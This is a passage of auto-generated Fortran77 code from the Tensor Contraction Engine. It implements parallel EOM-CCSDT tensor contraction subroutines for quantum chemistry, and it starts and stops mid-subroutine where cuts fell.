&,int_mb(k_range+h4b-1),int_mb(k_range+p11b-1),int_mb(k_range+p2b-1 &),4,2,1,3,-1.0d0) END IF IF ((p2b .le. p11b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p11b_ &2 - 1 + (noab+nvab) * (p2b_2 - 1 + (noab+nvab) * (h4b_2 - 1 + (noa &b+nvab) * (h3b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+p2b-1),int_mb(k_range+p11b-1 &),3,2,1,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_17',6,MA_ERR &) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_17',7,M &A_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_17',8,M &A_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_17',9,MA_ERR) IF ((p1b .le. p2b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p2b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+p1b-1) &,3,2,4,1,-1.0d0/2.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p2b - & noab - 1 + nvab * (p1b - noab - 1 + nvab * (h4b - 1 + noab * (h3b & - 1))))) END IF IF ((p2b .le. p1b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p2b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+p1b-1) &,3,2,1,4,1.0d0/2.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p1b - & noab - 1 + nvab * (p2b - noab - 1 + nvab * (h4b - 1 + noab * (h3b & - 1))))) END IF IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_17',10,MA_ER &R) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_17',11, &MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_1(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h3 h4 h12 h13 )_yt + = -1 * Sum ( p6 p5 ) * t ( p5 p6 h12 h13 )_t * y ( h3 h4 p5 p6 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h12b INTEGER h13b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p6b INTEGER p5b_1 INTEGER p6b_1 INTEGER h12b_1 INTEGER h13b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER p5b_2 INTEGER p6b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsuperp(2) INTEGER isuperp INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h12b = 1,noab DO h13b = h12b,noab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h12b-1)+int_mb(k_spin+h13b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_y,irrep_t)) &THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h12b-1) * int_mb(k_range+h13b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_1',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab DO p6b = p5b,noab+nvab IF (int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+p5b-1),ieor(int_mb(k_sym+p6b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. irrep_t) THEN CALL TCE_RESTRICTED_4(p5b,p6b,h12b,h13b,p5b_1,p6b_1,h12b_1,h13b_1) CALL TCE_RESTRICTED_4(h3b,h4b,p5b,p6b,h3b_2,h4b_2,p5b_2,p6b_2) dim_common = int_mb(k_range+p5b-1) * int_mb(k_range+p6b-1) dima_sort = int_mb(k_range+h12b-1) * int_mb(k_range+h13b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_1',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_1',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (h12b_1 - 1 + noab * (p6b_1 - noab - 1 + nvab * (p5 &b_1 - noab - 1))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+h12b-1),int_mb(k_range+h13b- &1),4,3,2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_1',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_1',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_1',5,MA_ERR) CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (h4b_2 - 1 + noab &* (h3b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+p5b-1),int_mb(k_range+p6b-1) &,2,1,4,3,1.0d0) IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_1',6,MA_E &RR) nsuperp(1) = 1 nsuperp(2) = 1 isuperp = 1 IF (p5b .eq. p6b) THEN nsuperp(isuperp) = nsuperp(isuperp) + 1 ELSE isuperp = isuperp + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,2.0d0/FACTORIAL( &nsuperp(1))/FACTORIAL(nsuperp(2)),dbl_mb(k_a_sort),dim_common,dbl_ &mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sort),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_1',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_1',8 &,MA_ERR) END IF END IF END IF END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_1',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h4b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h13b-1),int_mb(k_range+h12b- &1),2,1,4,3,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b &- 1 + noab * (h12b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_1',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_1',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_2(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h3 h4 h12 h13 )_yt + = -1/3 * Sum ( h8 p7 p6 p5 ) * t ( p5 p6 p7 h8 h12 h13 )_t * y ( h3 h4 h8 p5 p6 p7 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h12b INTEGER h13b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p6b INTEGER p7b INTEGER h8b INTEGER p5b_1 INTEGER p6b_1 INTEGER p7b_1 INTEGER h12b_1 INTEGER h13b_1 INTEGER h8b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER h8b_2 INTEGER p5b_2 INTEGER p6b_2 INTEGER p7b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsuperp(3) INTEGER isuperp INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h12b = 1,noab DO h13b = h12b,noab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h12b-1)+int_mb(k_spin+h13b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_y,irrep_t)) &THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h12b-1) * int_mb(k_range+h13b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_2',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab DO p6b = p5b,noab+nvab DO p7b = p6b,noab+nvab DO h8b = 1,noab IF (int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1)+int_mb(k_spin+p7b-1) & .eq. int_mb(k_spin+h12b-1)+int_mb(k_spin+h13b-1)+int_mb(k_spin+h8 &b-1)) THEN IF (ieor(int_mb(k_sym+p5b-1),ieor(int_mb(k_sym+p6b-1),ieor(int_mb( &k_sym+p7b-1),ieor(int_mb(k_sym+h12b-1),ieor(int_mb(k_sym+h13b-1),i &nt_mb(k_sym+h8b-1)))))) .eq. irrep_t) THEN CALL TCE_RESTRICTED_6(p5b,p6b,p7b,h12b,h13b,h8b,p5b_1,p6b_1,p7b_1, &h12b_1,h13b_1,h8b_1) CALL TCE_RESTRICTED_6(h3b,h4b,h8b,p5b,p6b,p7b,h3b_2,h4b_2,h8b_2,p5 &b_2,p6b_2,p7b_2) dim_common = int_mb(k_range+p5b-1) * int_mb(k_range+p6b-1) * int_m &b(k_range+p7b-1) * int_mb(k_range+h8b-1) dima_sort = int_mb(k_range+h12b-1) * int_mb(k_range+h13b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_2',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_2',2,MA_ERR) IF ((h8b .le. h12b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (h12b_1 - 1 + noab * (h8b_1 - 1 + noab * (p7b_1 - n &oab - 1 + nvab * (p6b_1 - noab - 1 + nvab * (p5b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),int_mb(k_range+h8b-1) &,int_mb(k_range+h12b-1),int_mb(k_range+h13b-1),6,5,4,3,2,1,1.0d0) END IF IF ((h12b .lt. h8b) .and. (h8b .le. h13b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (h8b_1 - 1 + noab * (h12b_1 - 1 + noab * (p7b_1 - n &oab - 1 + nvab * (p6b_1 - noab - 1 + nvab * (p5b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),int_mb(k_range+h12b-1 &),int_mb(k_range+h8b-1),int_mb(k_range+h13b-1),6,4,5,3,2,1,-1.0d0) END IF IF ((h13b .lt. h8b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h8b_1 & - 1 + noab * (h13b_1 - 1 + noab * (h12b_1 - 1 + noab * (p7b_1 - n &oab - 1 + nvab * (p6b_1 - noab - 1 + nvab * (p5b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),int_mb(k_range+h12b-1 &),int_mb(k_range+h13b-1),int_mb(k_range+h8b-1),5,4,6,3,2,1,1.0d0) END IF IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_2',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_2',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_2',5,MA_ERR) IF ((h8b .lt. h3b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h8b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),3,2,1,6,5,4,1.0d0) END IF IF ((h3b .le. h8b) .and. (h8b .lt. h4b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h8b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),3,1,2,6,5,4,-1.0d0) END IF IF ((h4b .le. h8b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h8b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p7b-1),2,1,3,6,5,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_2',6,MA_E &RR) nsuperp(1) = 1 nsuperp(2) = 1 nsuperp(3) = 1 isuperp = 1 IF (p5b .eq. p6b) THEN nsuperp(isuperp) = nsuperp(isuperp) + 1 ELSE isuperp = isuperp + 1 END IF IF (p6b .eq. p7b) THEN nsuperp(isuperp) = nsuperp(isuperp) + 1 ELSE isuperp = isuperp + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,6.0d0/FACTORIAL( &nsuperp(1))/FACTORIAL(nsuperp(2))/FACTORIAL(nsuperp(3)),dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_2',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_2',8 &,MA_ERR) END IF END IF END IF END DO END DO END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_2',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h4b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h13b-1),int_mb(k_range+h12b- &1),2,1,4,3,-1.0d0/3.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b &- 1 + noab * (h12b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_2',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_2',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_3_1(d_a,k_a_offset,d_b,k_b_offset,d_c,k_ &c_offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i2 ( h3 h4 h13 p5 )_yt + = -1 * Sum ( p7 ) * t ( p7 h13 )_t * y ( h3 h4 p5 p7 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h13b INTEGER p5b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p7b INTEGER p7b_1 INTEGER h13b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER p5b_2 INTEGER p7b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h13b = 1,noab DO p5b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h13b-1)+int_mb(k_spin+p5b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &13b-1)+int_mb(k_spin+p5b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h13b-1),int_mb(k_sym+p5b-1)))) .eq. ieor(irrep_y,irrep_t)) T &HEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h13b-1) * int_mb(k_range+p5b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3_1',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p7b = noab+1,noab+nvab IF (int_mb(k_spin+p7b-1) .eq. int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+p7b-1),int_mb(k_sym+h13b-1)) .eq. irrep_t) T &HEN CALL TCE_RESTRICTED_2(p7b,h13b,p7b_1,h13b_1) CALL TCE_RESTRICTED_4(h3b,h4b,p5b,p7b,h3b_2,h4b_2,p5b_2,p7b_2) dim_common = int_mb(k_range+p7b-1) dima_sort = int_mb(k_range+h13b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+p5b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3_1',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_3_1',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (p7b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p7b-1) &,int_mb(k_range+h13b-1),2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_3_1',3,MA &_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3_1',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_3_1',5,MA_ERR) IF ((p7b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p7b_2 - noab - 1 + nvab * (h4b_2 - 1 + noab &* (h3b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+p7b-1),int_mb(k_range+p5b-1) &,4,2,1,3,-1.0d0) END IF IF ((p5b .le. p7b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p7b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (h4b_2 - 1 + noab &* (h3b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+p5b-1),int_mb(k_range+p7b-1) &,3,2,1,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_3_1',6,MA &_ERR) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_3_1' &,7,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_3_1' &,8,MA_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_3_1',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p5b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h13b-1 &),3,2,4,1,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p5b - & noab - 1 + nvab * (h13b - 1 + noab * (h4b - 1 + noab * (h3b - 1)) &))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_3_1',10,M &A_ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_3_1' &,11,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_3(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h3 h4 h12 h13 )_ytt + = 2 * Sum ( p5 ) * t ( p5 h12 )_t * i2 ( h3 h4 h13 p5 )_yt IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h12b INTEGER h13b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p5b_1 INTEGER h12b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER h13b_2 INTEGER p5b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h12b = 1,noab DO h13b = 1,noab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h12b-1)+int_mb(k_spin+h13b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_y,ieor(irrep &_t,irrep_t))) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h12b-1) * int_mb(k_range+h13b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab IF (int_mb(k_spin+p5b-1) .eq. int_mb(k_spin+h12b-1)) THEN IF (ieor(int_mb(k_sym+p5b-1),int_mb(k_sym+h12b-1)) .eq. irrep_t) T &HEN CALL TCE_RESTRICTED_2(p5b,h12b,p5b_1,h12b_1) CALL 